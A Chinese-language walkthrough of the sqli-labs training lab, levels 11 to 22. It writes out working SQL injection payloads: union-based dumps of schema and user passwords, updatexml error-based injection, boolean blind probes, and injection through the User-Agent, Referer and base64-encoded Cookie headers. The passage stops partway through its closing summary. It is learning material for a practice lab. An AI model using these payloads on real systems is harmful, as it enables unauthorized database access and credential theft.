好久没打sqli-labs了,闲来无事继续打一下。
'
1.注入点判断
uname=admin\&passwd=&submit=Submit
uname=admin' or 'a'='a&passwd=1&submit=Submit
或
uname=admin' and 1=1#&passwd=&submit=Submit
uname=不存在的用户' union select 1,2 #&passwd=&submit=Submit
uname=1' union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#&passwd=&submit=Submit
uname=1' union select database(),2 #&passwd=&submit=Submit
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=&submit=Submit
uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#&passwd=&submit=Submit
uname=1' union select 1,group_concat(password) from users#&passwd=&submit=Submit
")
uname=admin") or ("a"="a&passwd=1&submit=Submit
或
uname=admin") and 1=1#&passwd=1&submit=Submit
爆数据库、数据表、字段、记录和Less-11类似。
因为总结过,所以这里不再总结。
CSDN报错注入或个人博客报错注入
')
注入点判断
通过添加反斜杠\
,得知是')
闭合。
进行其它注入操作时,发现没有回显。而加反斜杠测试闭合方式却有回显,因为产生报错。于是想到进行其它注入操作时,应该可以使用报错注入(这里暂且使用Xpath注入,也可以使用其它报错注入方式)。
爆数据库
uname=1') and (updatexml(1,concat(0x7e,(select database()),0x7e),1))#&passwd=&submit=Submit
uname=1') and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#&passwd=&submit=Submit
爆字段
uname=1') and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1))#&passwd=&submit=Submit
爆数据
uname=1') and (updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1))#&passwd=&submit=Submit
"
通过添加反斜杠\
,得知是"
闭合
其它注入操作,把Less-13的')
改为"
即可。
post传入
uname=admin\&passwd=&submit=Submit
通过添加反斜杠\
,没有回显闭合方式,只回显了登录失败页面。
尝试万能语句
' or 1=1#
登录成功。发现登录成功和登录失败回显不同。于是想到了另一种思路来做,即SQL盲注,并且是POST型的布尔盲注,因为之前总结过GET型的SQL盲注,还做了几道POST盲注的题。所以这里不再详细总结。
CSDN:sqli-labs攻关2(布尔盲注、时间盲注)或个人博客sqli-labs攻关2(布尔盲注、时间盲注)
先知社区:SQL盲注的简单分析
测试
测闭合方式
uname=admin'#&passwd=&submit=Submit
单引号闭合
测长度
uname=admin' and (length(database())=8)#&passwd=&submit=Submit
数据库长度为8
测字符
uname=admin' and (ascii(substr(database(),1,1))>97)#&passwd=&submit=Submit
说明数据库第一个字符ASCII码大于97
具体注入步骤,参考SQL盲注的简单分析
依旧是SQL盲注,与Less-15相比,闭合方式由'
变成了")
当然,布尔盲注的题可以用时间盲注的方法来做,只不过时间盲注效率有点低。
过滤函数:check_input()
Less-17
查看源码发现,check_input()
对传入的uname进行了限制 ,只能16个字符。
调用了get_magic_quotes_gpc()
将 ' "
空格
/
进行了转义。
却没有对passwd进行任何处理。
所以与Less-14相比,注入点不在uname,注入点在passwd。测试发现闭合方式为'
。
这里测试个爆数据库的。
爆库
uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit
You can't specify target table 'users' for update in FROM clause
查询百度和大师傅博客,发现解决方法:在外面加一层select
即可解决。
payload
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from
(select username from users)b limit 0,1),0x7e),1)#&submit=Submit
很多网站都会记录用户的User-Agent
, 这为注入提供了条件。
注入原理
后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行。
Less-18
登录框输入admin
123
,登录失败只有如下信息
输入admin
admin
,登录成功返回如下信息
猜测应该是在User-Agent
进行注入。于是FireFox + Burp
或Firefox+hackbar插件
。
测注入点
User-Agent: 1'
User-Agent: 1' and '1'='1
User-Agent: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
爆表、爆字段、爆数据,后面的和Less-13大致一样,不再测试。
Less-19
先登录,登录成功,得到回显:
猜测应该是在header里的Referer
里进行注入
测注入点
Referer: 1'
Referer: 1' and '1'='1
Referer: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
Less-20
和上两道题一个路数,先登录,得到回显
猜测应该是在header里的Cookie
里进行注入
测注入点
Cookie: uname=admin'
Cookie: uname=admin' and '1'='1
Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
Less-21
登录,发现Cookie
中为base64,解码得到admin
猜想只是比Less-20多了一个Base64
对admin' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
进行base64编码。
Cookie: uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAnMSc9JzE=
测试,得到数据库
Less-22
把Less-21单引号改为双引号。即对admin" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1
进行base64编码。
至此,总算把Page-1的SQL注入关卡打完了。总的来说,22个sqli-labs关卡主要涉及的SQL注入的姿势有: